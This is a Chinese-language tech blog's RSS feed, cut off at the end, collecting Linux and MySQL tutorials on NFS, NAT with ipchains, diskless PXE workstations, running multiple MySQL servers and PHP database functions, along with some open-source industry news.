<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>$seaprince-&gt;tech-&gt;archivers</title>
		<link>http://eaxi.com/tech/</link>
		<description>时间是蚕食我们记忆的最大凶手，让我们用笔来对抗它吧</description>
		<copyright>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</copyright>
		<generator>SaBlog-X Version 1.6 Build 20070601</generator>
		<lastBuildDate>Thu, 29 Jul 2010 17:40:42 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<guid>http://eaxi.com/tech/show-10361-1.html</guid>
			<title>Linux核心--1.前言</title>
			<author></author>
			<description><![CDATA[
<br>　　原著:　David　A　Rusling <br>　　<br>　　翻译:　Banyan　&　fifa <br>　　<br>　　　　　　本书是为那些想了解Linux内核工作原理的Linux狂热爱好者而写。　它并非一本内部手册。主要描叙了Linux设计的原理与机制；以及Linux内核怎样工作及其原因。　 <br>　　<br>　　Linux还在不断改进；本书基于目前比较流行且性能稳定的2.0.33核心。　 <br>　　<br>　　Version　0.8-3　 <br>　　<br>　　David　A　Rusling　 <br>　　<br>　　david.rusling@arm.com　 <br>　　<br>　　前言　 <br>　　Linux是互连网上的独特现象。虽然它是由学生的业余爱好发展而来，但是现在它已经成为最为流行的免费操作系统。对很多人来说，Linux是一个谜。免费的东西怎么会变得如此有价值？在个由少数软件公司统治的世界，由一帮HACKER们编写的东西是怎样与那些公司的产品竞争的？　这些软件是如何分发给分布在世界各个角落，希望得到稳定产品的人们的？事实上Linux的确稳定而富有竞争力。许多大学与研究机构都使用Linux完成他们的日常计算任务。人们在家用PC上使用Linux,许多公司也在使用它--尽管他们并不总是乐意承认这点。Linux主要用来浏览WEB，管理WEB站点，撰写与发送EMAIL，以及玩游戏。Linux绝对不是玩具而是具有专业水平的操作系统，它的爱好者遍及世界。 <br>　　<br>　　Linux的源头要追溯到最古老的UNIX。1969年，Bell实验室的Ken　Thompson开始利用一台闲置的　PDP-7计算机开发了一种多用户，多任务操作系统。很快，Dennis　Richie加入了这个项目，在他们共同努力下诞生了最早的UNIX。Richie受一个更早的项目]]></description>
			<link>http://eaxi.com/tech/show-10361-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10360-1.html</guid>
			<title>在同一台机器上运行多个MySQL服务器</title>
			<author></author>
			<description><![CDATA[
    有些情况下你可能想要在同一台机器上运行多个服务器。例如，你可能想要测试一个新<br />
的MySQL版本而让你现有生产系统的设置不受到干扰， 或你可能是想要为不同的客户提供独<br />
立的MySQL安装一个因特网服务供应商。<br />
    如果你想要运行多个服务器，最容易的方法是用不同的TCP/IP端口和套接字文件重新编<br />
译服务器，因此他们不是侦听同一个TCP/IP端口或套接字。<br />
    假设一个现存服务器配置为缺省端口号和套接字文件， 那么用一个这样的configure命<br />
令行设置新的服务器：<br />
<br />
    shell&gt; ./configure  --with-tcp-port=port_number <br />
                --with-unix-socket=file_name <br />
                --prefix=/usr/local/mysql-3.22.9<br />
<br />
    这里port_number和file_name应该不同于缺省端口号和套接字文件路径名，而且<br />
--prefix值应该指定一个不同于现存的MySQL安装所在的安装目录。<br />
<br />
    你可以用这个命令检查由任何当前执行的MySQL所使用的套接字和端口：<br />
    shell&gt; mysqladmin -h hostname --port=port_number variables<br />
    如果你有一个MySQL服务器正运行在你使用了的端口上，你将得到MySQL的一些最重要的<br />
可配置变量的一张表，包括套接字名等。<br />
    你也应该编辑你机器的初始化脚本(可能是“mysql.server”)来启动并杀死多个mysqld<br />
服务器。<br />
    你不必重新编译一个新MySQL服务器，只要以一个不同的端口和套接字启动即可。 你可<br />
以通过指定在运行时safe_mysqld使用的选项来改变端口和套接字：<br />
    shell&gt; /path/to/safe_mysqld --socket=file_name --port=port_number<br />
    如果你在与开启日志的另一个服务器相同的一个数据库目录下运行新服务器，你也应该<br />
用safe_mysqld的--log和--log-update选项来指定日志文件的名字，否则，两个服务器可能<br />
正在试图写入同一个日志文件。<br />
    <br />
    警告：通常你决不应该有在同一个数据库中更新数据的2个服务器！ 如果你的OS不支持<br />
无故障(fault-free)的系统锁定，这可能导致令人惊讶的事情发生！<br />
    如果你想要为第二个服务器使用另一个数据库目录，你可以使用safe_mysqld的<br />
--datadir=path选项。<br />
    当你想要连接一个正在运行的， 使用一个不同于编译进你的客户程序中端口的MySQL服<br />
务器时，你可以使用下列方法之一：<br />
    <br><br>]]></description>
			<link>http://eaxi.com/tech/show-10360-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10359-1.html</guid>
			<title>Linux英文环境下的中文输入</title>
			<author></author>
			<description><![CDATA[
这几天可是把Linux整了一番，好久都没用了阿。听说RedHat 版本9以后不再出后续版本了，而是有了Fedora Project.于是删了原来的RH9, 试装了Fedora Core 1，其内核是2.6的，我的光电鼠标用不了，在Linux公社论坛上也有人报告这种情况，我也懒得弄了。反正还没开学，又装了RH AS3，卸载安装调试Apache, MySQL, PHP等等。最终还是装上了RH9。事情就是这样弄来弄去。<br />
<br />
RedHat 对中文的支持还不错，不过中文字体很难看，还有一些应用程序对中文支持也不是很好，于是大家纷纷开始了中文界面美化，论坛上也有很多方法可供参考。不过，我们一般都要求用英文界面，大多资料也是英文的。但是在英文环境下用Linux困扰着我们的一个问题是，我们有时还需要用中文输入，比如最需要中文输入的是在用Google查找东西的时候。这个问题，原来师兄也问过有什么好的中文输入法的软件。当时我就是把RH的默认语言设置为中文，安装了fcitx。现在的问题是要实现英文环境下的中文输入。<br />
<br />
现在我用得输入法是fcitx2.01。安装完fcitx. 然后我根据网上的资料做了以下测试。<br />
<br />
1 按照fcitx安装的相关说明，修改用户环境，即修改~/.bashrc 文件。<br />
<br />
&lt;blockquote&gt;export LC_ALL=zh_CN.gbk<br />
export LANG=zh_CN.gbk<br />
export XMODIFIERS=@im=fcitx&lt;/blockquote&gt;<br />
<br />
logout 后登录, 可以看到现在桌面和菜单都变成中文了，字体难看。我上次在AS3.0上没能自启动fcitx，在终端下要启动一下fcitx(此终端可以关掉)。 (redhat9 默认语言是中文时fcitx能够自启动) 然后各应用程序下应该都能用fcitx输入中文了。<br />
<br />
这种方法是可以输入中文了，但是桌面和菜单都中文化了，中文字体很难看，不是所需要的。<br />
<br />
2 按照Viperii提供的方法<br />
<br />
先备份一下所要用到的两个文件*.old, 然后修改那两个文件，我用的是fcitx就相应的写入fcitx。保存后logout再登录，发现桌面和菜单是英文没有变化，但是字体变化了，没有原来的漂亮。打开应用程序，想输入中文，这时还不能调入fcitx，启动一个终端，启动一下fcitx(启动后该终端可以关闭).然后在各应用程序下可以输入中文。<br />
<br />
这种方法得到了我们所要的英文环境中文输入，但是英文菜单字体很差，最难忍受的是终端下英文字体比原来小了很多，特难看，如果在终端下用vi编辑文件，调试程序相信是很难受的。<br />
<br />
3 Ivn 提供的方法:  <br />
&lt;blockquote&gt;export LANG=zh_CN.GB18030<br />
xsim &<br />
gedit&lt;&lt;/BLOCKQUOTE&gt;&lt; P&gt;<br />
<br />
我把方法2中的两个文件改名为*.modified, 把备份的*.old改为*. xsim改成我的fcitx，这种方法优点是login时不启动中文输入环境，Main Menu, desktop, term的英文字体不受任何影响，在终端启动的应用程序能够输入中文, 不过应用程序的菜单(如mozilla)都被中文化了，中文字体也很难看。而且，启动fcitx和应用程序的那个终端不能关闭，一旦关闭，那些进程也被杀掉了吧。<br />
<br />
网上还有很多其他的修改环境变量的方法来实现，没有看到大家详细的测试结果。这里3种方法，后两者比较好，因人而异可以选择一种。第3种还可以通过一个脚本来输入第一二句，然后启动所需要的应用程序。这个两者对于喜欢或需要在英文环境下工作的个人来说还是不错的中文输入实现。而对于一台电脑多人使用，方法一结合后两者是很好的选择，各用户根据需要修改自己的环境。另外，刚想到一点，方法一和二中，在mozilla的地址栏中输入的英文是那种漂亮的书体，而方法三中的英文字体发生了变化; 而浏览器其它地方输入的英文字体在三种方法中都是发生了变化。这中文英文环境可真是麻烦阿，想把它弄懂需要了解很多的知识。<br />
Posted by Zhimin Xiong at February 14, 2004 09:56 PM (61 Words)<br />
TrackBack URL for this entry: http://pplas.iccas.ac.cn/bbs/mt/mt-tb.cgi/18 <br />
<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10359-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10358-1.html</guid>
			<title>IPTV运营商为避技术风险冷落AVS 转向H.264</title>
			<author></author>
			<description><![CDATA[
2006年06月29日 15:52     来源：新浪科技<br />
<br />
    导读：刚于日前公布中标结果的上海15个区IPTV商用项目有望最早于今年9月开始放号。此次上海IPTV招标采取的音视频编解码标准是H.264，这将有望成为国内最大规模并第一个正式进入商用的H.264网络，用户规模可能达到10万线。<br />
<br />
　据了解，上海目前已经建立的MPEG-4网络还将继续放号，但上海电信方面希望继续逐步全面转向H.264。<br />
<br />
　　易观分析<br />
<br />
　　从上海电信的H.264直接商用、Mpeg-4将全面转向H.264可以看出中国电信对H.264的态度，不久前完成招标的北京网通也采用了H.264。<br />
<br />
　　易观国际认为，中兴先后在北京网通和上海电信的招标中胜出很大程度上正是因为其在H.264上有丰富的部署经验。2005年中兴先后在陕西、江苏等省中标，其在海外为希腊、哥伦比亚等地运营商提供的IPTV解决方案也都基于H.264。<br />
<br />
　　尽管AVS早在去年就已经成为国家标准，但北京网通和上海电信仍然坚持选择H.264，这表明两大固网运营商在IPTV标准问题上的态度已经非常鲜明――是依靠相对成熟的标准来规避技术风险，还是采用自主知识产权的新生标准来节省专利费，运营商选择了前者。<br />
<br />
　　易观观点<br />
<br />
　　《易视界 IPTV》指出，尽管不为电信运营商所青睐，但这并不意味着AVS已经完全没有机会。AVS能否被电信运营商所接纳取决于国家政策扶持力度和AVS本身的技术成熟度和产业化进程。<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10358-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10357-1.html</guid>
			<title>第5章局域网服务器</title>
			<author></author>
			<description><![CDATA[
本章要点：<br />
  <br />
  本章介绍如何将Linux机器配置称为局域网上的文件/打印服务器或者计算服务器，同<br />
时也介绍可能出现的问题以及解决方法。<br />
  <br />
      本章具体包括以下内容。<br />
  <br />
    NFS文件服务<br />
  <br />
    BSD打印服务器<br />
  <br />
    Samba文件/打印服务<br />
  <br />
    WINS、DHCP和NIS<br />
  <br />
    图形/计算服务器<br />
  <br />
  5.1 NFS和文件/打印服务<br />
  <br />
  NFS是Sun发明的用来在UNIX系统之间共享文件的一种服务协议，事实上，如果你的系<br />
统中不是有很多的UNIX机器，我们并不建议使用NFS。因为在windows 95上访问NFS相当<br />
困难。但是，如果你的系统中包含Sun或者SCO这样的UNIX系统，也许你除了使用NFS以外<br />
别无选择。<br />
  <br />
  5.1.1 共享文件系统<br />
  <br />
  NFS实际就是将某个UNIX机器的一个目录共享出来，由其他机器直接使用。共享的动作<br />
称为“输出”(export)。例如，host1机器的mydoc目录可以被输出，然后host2机器的管<br />
理员将它连接到/host1/mydoc目录下，以后host2对这个目录的操作自动转化为对host1<br />
上相应目录的操作。技术上，通常用UDP协议来实现NFS的数据传输。<br />
  <br />
  首先我们需要来制作一个NFS服务器，由于NFS要依赖于远程过程调用（RPC），所以服<br />
务器上必须启动SUNRPC服务，这个服务的另一个名字是port mapper，在目前版本中的L<br />
inux里面，用portmap程序来启动SUNRPC服务：<br />
  <br />
  $ /sbin/portmap<br />
  <br />
  尽管不通过tcpd程序，但是port mapper是基于一个类似的程序tcp wrapper的运行库<br />
，所以也可以使用host.deny和host.allow程序来限制访问。另外,通常portmap使用的端<br />
口在/etc/services里面定义。<br />
  <br />
  为了使用NFS服务，需要启动mountd和nfsd程序，这两个程序在Linux中被称为rpc.mo<br />
untd和rpc.nfsd：<br />
  <br />
  $/usr/sbin/rpc.mountd<br />
  <br />
  $/usr/sbin/rpc.nfsd<br />
  <br />
  其中，rpc.nfsd程序支持一个数字参数，用来表示启动nfsd程序的个数，例如：<br />
  <br />
  $rpc.nfsd 7<br />
  <br />
  $ps ax|grep nfsd<br />
  <br />
    606 pts/0    SW     0:00 [nfsd]<br />
  <br />
    607 pts/0    SW     0:00 [nfsd]<br />
  <br />
    608 pts/0    SW     0:00 [nfsd]<br />
  <br />
    609 pts/0    SW     0:00 [nfsd]<br />
  <br />
    610 pts/0    SW     0:00 [nfsd]<br />
  <br />
    611 pts/0    SW     0:00 [nfsd]<br />
  <br />
    612 pts/0    SW     0:00 [nfsd]<br />
  <br />
  由于NFS是基于无连接的UDP服务，所以nfsd程序不得不在端口上等待并且处理，当nf<br />
s访问比较多的时候，增加nfsd程序的个数会有助于提高NFS的工作效率（因为避免了线<br />
程阻塞），但是太多的nfsd程序又可能会影响CPU的处理速度。正确的数值只有自己实验<br />
得到，不过，对于一般的系统，10-20个nfsd程序应该可以工作的很好。<br />
  <br />
  另外一个需要注意的是，按照Sun的定义，NFS是无状态的，有时这一点很讨厌，特别<br />
是有可能发生文件访问的冲突，为此，Linux提供nfs lock功能，对NFS访问进行监控，<br />
可以用rpc.lockd和rpc.statd程序来执行这个功能：<br />
  <br />
  $/sbin/rpc.lockd<br />
  <br />
  $/sbin/rpc.statd<br />
  <br />
  要想在启动的时候自动使用NFS服务，可以按照我们以前介绍的那样，编辑相应的启动<br />
脚本，不过，有些Linux系统提供了设置程序，最常用的是NTSYSV程序，如redhat和TLC<br />
都提供了这个程序：<br />
  <br />
  $/usr/sbin/ntsysv<br />
  <br />
  出现类似下面的界面：<br />
  <br />
 <br />
  <br />
  将这个选单中的nfs，nfslock和portmap选中并且ok退出，系统脚本就被自动改变了。<br />
（ntsysv程序只是建立/etc/rc.d/rc3.d下的连接而已，你也可以手工作这个连接工作，<br />
注意我们以前讲的启动脚本）<br />
  <br />
  在启动了上面说的那些服务后，现在可以输出文件目录了。在Linux中有两种输出方式<br />
，一种使用exportfs命令，另一种是使用/etc/exports文件：<br />
  <br />
  exportfs命令的用法是<br />
  <br />
  /usr/sbin/exportfs ]]></description>
			<link>http://eaxi.com/tech/show-10357-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10356-1.html</guid>
			<title>无盘工作站构架的一点小经验</title>
			<author></author>
			<description><![CDATA[
无盘工作站的建设<br />
---------------------------------------------------<br />
整理了一点东西，使我实践过后觉得可行的方法，准备和大家共同探讨与学习。<br />
<br />
其实无盘的linux并没有十分困难，只是做的人不多而已。<br />
这里我就介绍一下我的实现方法：<br />
实现系统(RedHat 8.0+DHCPD+TFTP)<br />
SYSLINUX =http://freshmeat.net/redir/syslinux/10177/url_tgz/syslinux-2.09.tar.gz<br />
<br />
其实这与系统没有多大关系<br />
<br />
安装服务器，这个服务器必须支持dhcpd(或PXE),tftpd,nfs这几个服务,<br />
这里要说的是必须要结合syslinux一齐用。<br />
下载syslinux 编译后把pxelinux.0 拷贝到/tftpboot/, pxelinux.0 为启动文件.<br />
取得无盘工作站的网卡(MAC)<br />
在dhcpd.conf中指定IP地址;<br />
dhcpd文件例子:<br />
####################################<br />
deny unknown-clients;<br />
option subnet-mask 255.0.0.0;<br />
option broadcast-address 130.255.255.255;<br />
option domain-name "";<br />
option routers 129.0.0.254;<br />
ddns-update-style none;<br />
<br />
subnet 129.0.0.0 netmask 255.0.0.0 {<br />
group {<br />
host node1{<br />
hardware ethernet 00:30:48:29:cb:96;<br />
fixed-address 129.0.0.1;<br />
filename "pxelinux.0";<br />
option routers 129.0.0.254;<br />
option domain-name "YY";<br />
}<br />
}<br />
}<br />
#######################################<br />
<br />
在新建一个pxelinux.cfg目录,启动时服务器会在此目录找相应的无盘工作站的配置,<br />
文件的名称规则为IP地址的16进制的输出比如10:10:10:10 文件名为0a0a0a0a 若找不到<br />
系统会一步一步找0a0a0a -&gt; 0a0a -&gt; 0a -&gt; default 在找不到那就无法启动了.<br />
此文件的格式:<br />
########################<br />
DEFAULT linux<br />
PROMPT 0<br />
LABEL linux<br />
KERNEL vmlinuz<br />
append ip=dhcp root=/dev/nd01 nfsroot=129.0.0.254:/tftpboot/node vga=normal<br />
##########################<br />
可以自己改变.此文件指定了 服务器为129.0.0.254 无盘工作站的文件系统在/tftpboot/node下<br />
下面是我写的建无盘站文件系统的shell程序<br />
#############################<br />
#!/bin/sh<br />
mkdir=`which mkdir`<br />
cp=`which cp`<br />
mknod=`which mknod`<br />
chmod=`which chmod`<br />
rm=`which rm`<br />
chattr=`which chattr`<br />
<br />
<br />
mkdir /tftpboot/$1<br />
cd /tftpboot/$1<br />
echo -n "Copy directory bin ..."<br />
cp -a /bin .<br />
echo " OK"<br />
echo -n "Copy directory dev ..."<br />
cp -a /dev .<br />
echo " OK"<br />
echo -n "Make a node nd0 ..."<br />
mknod dev/nd0 b 43 0<br />
chmod 600 dev/nd0<br />
echo " OK"<br />
echo -n "Copy directory etc ..."<br />
cp -a /etc .<br />
echo " OK"<br />
echo -n "create directory home ..."<br />
mkdir home<br />
echo " OK"<br />
echo -n "Copy directory lib ..."<br />
cp -a /lib .<br />
echo " OK"<br />
echo -n "clean modules of directory lib ..."<br />
rm -rf lib/modules<br />
echo " OK"<br />
echo -n "create directory root ..."<br />
mkdir root<br />
echo " OK"<br />
echo -n "copy directory sbin ..."<br />
cp -a /sbin .<br />
echo " OK"<br />
#echo -n "link directory usr ..."<br />
#ln -s /usr usr<br />
#echo "OK"<br />
echo -n "create directory var ..."<br />
mkdir var<br />
cd var<br />
echo "Entering directory var "<br />
echo -n "copy lib"<br />
cp -a /var/lib .<br />
echo -n " cache"<br />
cp -a /var/cache .<br />
echo -n " log"<br />
cp -a /var/log .<br />
echo -n " tmp"<br />
cp -a /var/tmp .<br />
echo -n " spool"<br />
cp -a /var/spool .<br />
echo -n " yp"<br />
cp -a /var/yp .<br />
cd ../<br />
echo -n "leaving directory var"<br />
echo " OK"<br />
echo -n "create directory proc usr tmp ..."<br />
mkdir proc usr tmp<br />
echo " OK"<br />
echo -n "change attribute of tmp ..."<br />
chmod 777 tmp<br />
echo " OK"<br />
echo -n "create file fastboot and add +i attribute ... "<br />
touch fastboot<br />
chattr +i fastboot<br />
echo " OK"<br />
#######################<br />
## change fstab ##########<br />
编辑/tftpboot/node/etc/fstab<br />
添加 nodeserver:/tftpboot/node / nfs rw 0 0<br />
修改/etc/exports<br />
添加/tftpboot/node node1(rw,async,no_root_squash)<br />
启动nfs<br />
再要修改的话,可以根据自己的需要删添.<br />
<br />
这样服务系统算是搞定了,<br />
<br />
<br />
接下去就要编译无盘工作站内核了<br />
下载一个内核源文件,或者就去安装盘中找一个就可以了,安装后,进入/usr/src/SPRMS/中,看到内核的源程序,<br />
make menuconfig ,此时你可以考虑无盘工作站的需要,减少一些硬件的支持,但是你必须要选上nfsroot.<br />
我找到了其他的安装方法,都不建议使用加载modules,但是你要加载了,好像也没有什么问题,而且可以增加许多功能.<br />
不过对资源占用很多,这要看你的观点了. 接下去就把编译好的内核文件 bzImage 拷贝到/tftpboot/下 改为vmlinuz<br />
或者你可以在/tftpboot/pxelinux.cfg/xxxxxxxx 中修改 kernel + 内核文件的名字.<br />
<br />
这样,一个无盘工作站的系统基本没有问题了,无盘站选择网络启动,<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10356-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10355-1.html</guid>
			<title>RedHat7.0安装NAT作法简介</title>
			<author></author>
			<description><![CDATA[
<br>　　) <br>　　序言： <br>　　<br>　　有於网路上有许多关於 NAT Server 架设的文章，文章内容参差不齐，各种作法皆可。本人现 在亦将所知道的架设方式，写成网页，便於参考。本文的内容，是将最简单的架设方式，以简单明白的文字及图片教导有心想学的人，希望对大家有帮助。在尚未开始设定之前，请一定要先研读[说明NAT的观念]这一篇文章，这样您才解 NAT Server 是在做什麽的。 <br>　　<br>　　步骤一： <br>　　<br>　　架设 NAT 伺服器时，基本必须要有两张以上的乙太网路卡(Ethernet Card)才能做，因为一张网卡是带真实网段的 ip Address 与外界联；另一张网卡则是以虚拟网段的方式，提供给 Local 网域内所有 Client 端的电脑使用，对於解决 ip 不足的现象有相当的益处(一)。现在假设我们已经将两张网路卡插上主机板了，并且 RedHat 也已经灌好了，正常开机後，出现登入画面，这时我们接着下一个动作。 <br>　　<br>　　设定 ip Address 原则： <br>　　<br>　　ethernet0 ---> 210.129.32.1 真实网段 <br>　　255.255.255.248 <br>　　网段位置 210.129.22.0 ~ 210.129.32.7 <br>　　Network mask <br>　　<br>　　<br>　　ethernet1 ---> 192.168.1.1 虚拟网段 <br>　　255.255.255.0 <br>　　网段位置 192.168.1.0 ~ 192.168.1.255 <br>　　Network mask <br>　　<br>　　<br>　　至於电脑上面要如何地判断及安装 eth0 & eth1 的位置呢?通常靠近电源供应器(power)者，为 eth0 网卡，而下方另一张网卡即是 eth1。请视实际情况加以调整。 <br>　　<br>　　(一)：关於 NAT 的相关资料及细部介绍，请参考[台北市教育网路中心]里面的[虚拟ip对应]之文章，或是连结到[狼主的网路实验室]专题报导之[NAT专题研究]，里面有相当详细的资料及相关软体可供下载。原文资料：IP Masquerade、ipchains。 <br>　　<br>　　步骤二： <br>　　<br>　　请用 root 身份登入本机， 接着输入 [root@tiger /]# setup(Enter)，进入 System services 选项里，把 [*] ipchains 点选起来，然後离开。此动作表示下次开机後，系统会自动执行此套件(Automation)。 <br>　　<br>　　<br>　　<br>　　<br>　　<br>　　步骤三： <br>　　<br>　　皆下来就是 running linuxconf 的设定。[root@tiger /]# linuxconf。最主要的是将「Firewalling」项目加到 linuxconf 中，请照以下程序进行。 <br>　　<br>　　1.选择「Control」、「Control files and systems」、「Configure Linuxconf modules」，点选『firewall』模组。 <br>　　<br>　　<br>　　<br>　　<br>　　<br>　　2.选择「Routing and gateways」、「Set Defaults」，点选 [X] Enable routing。 <br>　　<br>　　<br>　　<br>　　<br>　　<br>　　3.全部设定好了之後，离开时按下「Accept」进行储存动作。 <br>　　<br>　　4.# reboot -n (重新开机) <br>　　<br>　　5.Login 後，入键# linuxconf (Enter) <br>　　<br>　　6.选择「Config」、「Networking」、「Firewalling」、「Firewalling defaults(设定放行的规则及使用的封包类型)」。 <br>　　<br>　　<br>　　<br>　　<br>　　<br>　　<br>　　<br>　　<br>　　<br>　　　 <br>　　<br>　　<br>　　<br>　　步骤四： <br>　　<br>　　全部都设定好了之後，再把伺服器重新 reboot 一遍。开机完成之後，请先检查一下您的 /sbin/ipchains -L(查询是否有使用转换 ip 的规则) <br>　　<br>　　/sbin/ipchains -R(移除转换 ip 的规则) <br>　　<br>　　接着输入： <br>　　<br>　　[root@tiger /]#echo 1 > /proc/sys/net/ipv4/ip_forward <br>　　<br>　　[root#@iger/]#/sbin/./ipchains -A forward -p all -s 192.168.1.0/24 -d 0.0.0.0/0 -j MASQ <br>　　<br>　　简易的 NAT Server 便已经完成了。 <br>　　<br>　　<br>　　
</DIV><br><br><br><br>]]></description>
			<link>http://eaxi.com/tech/show-10355-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10354-1.html</guid>
			<title>MySQL数据库函数详解(3)</title>
			<author></author>
			<description><![CDATA[
作者：随想 OSO奥索 (9) string mysql_error(int [link_id]);<br />
对于给定的连接，返回含有最近返回状态的与MySQL相关的函数的错误消息字符串。空值意味着未出现错误。<br />
<br />
&lt;?php<br />
$link=mysql_pconnect("localhost","sunsoft","suixiang") or die("Could not connect");<br />
print("Connected successfully");<br />
$query="SELECT * FROM president";<br />
$result=mysql_query($query) or die("query failed,error message=".mysql_error());<br />
?&gt;<br />
<br />
(10)array mysql_fetch_array(int result, int [result_typ]);<br />
本函式用来将查询结果 result 拆到阵列变数中。若 result 没有资料，则传回 false 值。而本函式可以说是 mysql_fetch_row() 的加强函式，除可以将传回列及数字索引放入阵列之外，还可以将文字索引放入阵列中。若是好几个传回栏位都是相同的文字名称，则最后一个置入的栏位有效，解决方法是使用数字索引或者为这些同名的栏位 (column) 取别名 (alias)。值得注意的是使用本函式的处理速度其实不会比mysql_fetch_row() 函式慢，要用哪个函式还是看使用的需求决定。参数 result_typ 是一个常数值，有以下几种常数 MYSQL_ASSOC、MYSQL_NUM 与 MYSQL_BOTH。<br />
使用范例<br />
<br />
<br />
&lt;?php<br />
$link=mysql_pconnect("localhost","sunsoft","suixiang") or die("Could not connect");<br />
mysql_select_db("stamp_db") or die("Could not select database");<br />
$query="SELECT last_name,first_name FROM president";<br />
$result=mysql_query($query) or die("Query failed");<br />
while($row=mysql_fetch_array($result))<br />
{<br />
printf("%s %s&lt;BR&gt;<br />
",$row[0],$row[1]);<br />
printf("%s %s&lt;BR&gt;<br />
",$row["last_name"],$row["first_name"]);<br />
}<br />
mysql_free_result($result);<br />
<br />
?&gt;<br />
<br />
<br />
(11) object mysql_fetch_field(int result [,int col_num]);<br />
返回结果集中给定列的相关元数据信息，如果没有这样的列，则返回假。如果省略col_num，则对mysql_fetch_field()的后继调用返回结果集后续列的信息。如果不再有剩余的列。则返回值为假。如果指定了col_num，则其取值范围为0到mysql_num_fields()-1。在此情况下，mysql_num_fields()返回给定列的相关信息，如果col_num超出范围，返回假。<br />
&lt;?php<br />
$link=mysql_pconnect("localhost","sunsoft","suixiang") or die("Could not connect");<br />
mysql_select_db("stamp_db") or die("Could not select database");<br />
$query="SELECT * FROM president";<br />
$result=mysql_query($query) or die("Query failed");<br />
for($i=0;$i&lt;mysql_num_fields($result);$i++)<br />
{<br />
printf("information for column %d:&lt;BR&gt;<br />
",$i);<br />
$meta=mysql_fetch_field($result);<br />
if(!$meta)<br />
{<br />
print("No information available&lt;BR&gt;<br />
");<br />
continue;<br />
}<br />
print("&lt;PRE&gt;<br />
");<br />
printf("blob: %s<br />
",$meta-&gt;blob);<br />
printf("max_length: %s<br />
",$meta-&gt;max_length);<br />
printf("multiple_key: %s<br />
",$meta-&gt;multiple_key);<br />
printf("name: %s<br />
",$meta-&gt;name);<br />
printf("not_null: %s<br />
",$meta-&gt;not_null);<br />
printf("numeric: %s<br />
",$meta-&gt;numeric);<br />
printf("primary_key: %s<br />
",$meta-&gt;primary_key);<br />
printf("table: %s<br />
",$meta-&gt;table);<br />
printf("type: %s<br />
",$meta-&gt;type);<br />
printf("unique_key: %s<br />
",$meta-&gt;unique_key);<br />
printf("unsigned: %s<br />
",$meta-&gt;unsigned);<br />
printf("zerofill: %s<br />
",$meta-&gt;zerofill);<br />
print("&lt;/PRE&gt;<br />
");<br />
}<br />
?&gt;<br />
<br />
(12) array mysql_fetch_lengths(int result);<br />
本函式将 mysql_fetch_row() 处理过的最后一列资料的各栏位资料最大长度放在阵列变数之中。若执行失败则传回 false 值。传回阵列的第一笔资料索引值是 0。<br />
<br />
&lt;?php<br />
$link=mysql_pconnect("localhost","sunsoft","suixiang") or die("Could not connect");<br />
mysql_select_db("stamp_db") or die("Could not select database");<br />
$query="SELECT * FROM president" or die("Query failed");<br />
$row_num=0;<br />
while(mysql_fetch_row($result))<br />
{<br />
++$row_num;<br />
printf("Lengths of values in row %d:&lt;BR&gt;<br />
",$row_num);<br />
$len=mysql_fetch_lengths($result);<br />
if(!$len)<br />
{<br />
print("No information available&lt;BR&gt;<br />
");<br />
break;<br />
}<br />
print("&lt;PRE&gt;<br />
");<br />
for($i=0;$i&lt;mysql_num_fields($result);$i++)<br />
printf("Column %d: %s<br />
",$i,$len[$i]);<br />
print("&lt;/PRE&gt;<br />
");<br />
}<br />
?&gt; <br><br>]]></description>
			<link>http://eaxi.com/tech/show-10354-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10353-1.html</guid>
			<title>Fedora开源社区加强对女性重视提供专项服</title>
			<author></author>
			<description><![CDATA[
【eNet硅谷动力消息】为了鼓励更多的女性开发人员参与到社区中来，Fedora开源工程日前专门面向女性用户推出了Fedora Women论坛和电子邮件清单。 　<br />
<br />
　　Fedora网站上贴出的公告解释说：“任何有兴趣参与Fedora工程的女性用户都可以从Fedora Women开始。” 　<br />
<br />
　　Fedora Women希望通过为参与工程的女性用户提供一个专门的论讨和电子邮件清单服务，以支持女性程序员现有社区的发展。 　<br />
<br />
　　Fedora的用户中，有一大部分都是女性。她们在社区没有受到应有的足够重视，许多人甚至都没有意识到她们在社区中占了很大一部分比例。 Fedora Women计划正是为了改善这种局面，为Fedora社区中的女性程序员提供一个论坛，提高对她们的重视程度而开设的。 　<br />
<br />
　　有关Fedora Women的新闻发布之后，立即在免费开源Fedora社区引起了强烈的反响，社区针对为什么社区的女性程序员会受到轻视的现象展开了激烈的讨论。 　<br />
<br />
　　其他的开源工程也曾经试图鼓励更多的女性程序员参与到相关的开源项目中去。在2005年，阿帕奇软件基金会为了让更多的女性程序员参与到其开源项目中专门建立了一个新电子邮件清单；在2004年，Debian社区成立了Debian Women组织以鼓励女性参与Debian项目的开发工作。<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10353-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
